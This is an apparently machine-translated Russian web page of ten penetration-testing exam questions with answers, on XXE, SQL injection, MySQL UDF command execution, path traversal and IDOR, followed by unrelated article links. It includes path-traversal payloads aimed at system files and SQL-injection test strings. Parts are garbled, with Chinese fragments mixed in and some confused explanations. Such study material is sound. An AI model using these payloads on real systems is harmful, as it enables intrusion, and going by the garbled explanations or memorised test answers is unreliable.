1. Во время тестирования на проникновение разработчик системы связывается с вами и спрашивает, можете ли вы помочь понять, что происходит в одном из файлов журнала Apache HTTP на сервере. ошибка. В файле журнала отображается следующее сообщение: Во время запроса HTTP GET. Разработчик знал, что запрос исходил не от текущего теста на проникновение, поскольку IP-адрес выходил за рамки участия. Какой тип атаки мог быть использован против целевого веб-сервера?

А. XSS-атака на основе DOM

B、 Подделка межсайтового запроса(CSRF)

C. XXE-инъекция

D、 SQL-инъекция

C、 XML external Entity (XXE) инъекционная атака ЦельXMLдокумент,и пытается манипулировать объявлениями внутренних или внешних сущностей, которые разрешаются при обработке документа. Попытки внедрения, зафиксированные в файлах журналов, представляли собой попытки злоумышленника атаковать локальные ключи SSH учетных записей пользователей. Эти типы атак также могут привести к удаленному выполнению команд. Путем отключения внешних объектов или очистки вводимых пользователем данных и ограничения документа указанием на его запрошенное местоположение.,Эти типы атак можно смягчить.

2. Член группы тестирования на проникновение попытался вставить вредоносную запись в базу данных MySQL, которая могла бы выполнить некоторый тестовый код для кражи файлов cookie из веб-браузера пользователя. Однако оператор INSERT не работает. Глядя на следующий синтаксис, каковы возможные причины ошибки?

mysql> INSERT into app.data (header, body, message, webForm) VALUES ("HACK", 404, "HACK");

А. Во втором значении столбца отсутствуют кавычки.

Б. В операторе INSERT отсутствует значение четвертого столбца, и он не может быть нулевым.

C. Одно из значений поля превышает ограничение на размер.

D. В операторе INSERT нет ошибок.

Б. В инструкции INSERT отсутствует значение четвертого столбца.

Для каждого столбца, указанного в инструкции INSERT, требуется значение поля. Если одно из полей является обязательным, оно не может иметь значение NULL, например пустое значение.

3. Если скомпрометированный пользователь базы данных имеет права администратора (например, root) или повышенные права, а база данных настроена с помощью функций sys_exec() и __________, UDF может помочь выполнять команды во время тестирования на проникновение.

A. sys_eval()

B. system_eval()

C. exec_sys()

D. sys_udf()

О. Функции sys_eval() и sys_exec() необходимо настроить на сервере базы данных, чтобы создать определяемую пользователем функцию (UDF), которая в конечном итоге может выполнять команды в операционной системе, используя разрешения пользователя операционной системы, которому принадлежит процесс.

4. Учитывая следующий URL-адрес, какие два метода можно использовать для выполнения SQL-инъекционного тестирования данных базы данных в веб-параметре? (Выберите два.)

http://example.com/page.php?id=1&acct=162;jsessionid=567323456798

A. ?id=1'&acct=144;jsessionid=567323456798

B. ?id=1'&acct=162';jsessionid=567323456798

C. ?id=1;--&acct=162;jsessionid=567323456798

D. ?id=1'&acct=144';jsessionid=567323456798

Б. Д. Методы «'», «--» и «» могут помочь инициировать ответы об ошибках из баз данных, в которых отсутствует фильтрация приложений или баз данных.

5. Вы попадаете на веб-страницу, требующую аутентификации с использованием действительного имени пользователя и имени входа. С CeWL вы решаете создать свой собственный словарный запас, используя контент, полученный с веб-сайта. На сайте много страниц, и вы решаете начать с индексации. html и перейдите на пять страниц веб-сайта, чтобы определить длину слова не менее восьми символов. Какие параметры команды помогут вам составить список слов для поиска?

A. -d 5 -8

B. -w 8 -d 5

C. -m 8 -d 5

D. -a 8 -d 5

C. Опция -d используется для указания глубины просмотра веб-сайта, а -m используется для указания минимального количества слов, распознаваемых инструментом.

6. При тестировании веб-приложения, работающего на Windows Server 2016, вы обнаруживаете уязвимость веб-параметра, которая делает вас уязвимым для атак с обходом пути. Какой из следующих вариантов является лучшим выбором при демонстрации атаки с обходом пути?

A. ?id=C:\Windows\system32\etc/passwd

B. ?id=../../../../C:/Windows/etc/passwd

C. ?id=%20.%20C:/Windows/boot.ini

D. ?id=..\..\..\..\C:/Windows/boot.ini

D. Лучший ответ — D, потому что он может помочь обойти базовые фильтры содержимого с косой чертой и, возможно, отобразить содержимое файла boot.ini.

7. Что из перечисленного является действительной клиентской атакой? (Выберите все, что подходит.)

A. Clickjacking

B. Command injection

C. Directory traversal

D. Reflected HTML injection

E. DOM-based XSS

F. Session hijacking

A, D, E, F. Все ответы правильные, кроме введения команды и обхода каталога. Эти типы атак нацелены на уязвимости на стороне сервера.

8. Какова цель объектной модели документа (DOM) в веб-браузере пользователя?

A. Структурирование контента в браузере

Б. Передача сообщений другим объектам

C. Сохраните зашифрованное значение, за которым следует символ «#».

D. Помощь в защите от XSS-атак

О. Во время выполнения приложение передает DOM, чтобы структурировать содержимое браузера. Модули DOM могут включать код JavaScript, который может выполняться непосредственно в браузере пользователя.

9. Какова цель следующего PHP-кода?

do{

data=fread(handle,8192);

if (strlen($data)==0){

Break;

}

echo($data);

}while (true);

А. Создайте цикл для отображения содержимого $data, пока его длина не достигнет 0.

Б. Создайте цикл, объявите $data и проверьте размер переменной.

C. Создайте цикл для отображения содержимого данных.

D. Создайте цикл, но если данные меньше 8192 байт, завершите процесс.

B、 PHPКод считывается8192字节издескриптор для объявленияданные变量。Затем,нравиться果Длина данных равна 0, скрипт завершится или продолжит эхоdataиз内容并完成循环。

10. Учитывая следующий URL-адрес, какой из следующих вариантов может быть IDOR? (Выберите все, что подходит.)

A. http://example.com/index.php?emp_id=12345

B http://example.com/index.php

C http://example.com/sales.php?acct=4532345

D http://example.com/profile.php?state=CA&zip=90001

A. C. Параметры «acct=» и «emp_id=» являются чем-то вроде бесполезной информации, поскольку их можно связать с информацией других пользователей без необходимого контроля доступа через веб-приложение или базу данных. Эта информация была получена. Вариант B — это просто URL-адрес, из которого ничего не следует, вариант C предоставляет параметры, связанные с штатом и почтовым индексом, для беспокойных

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose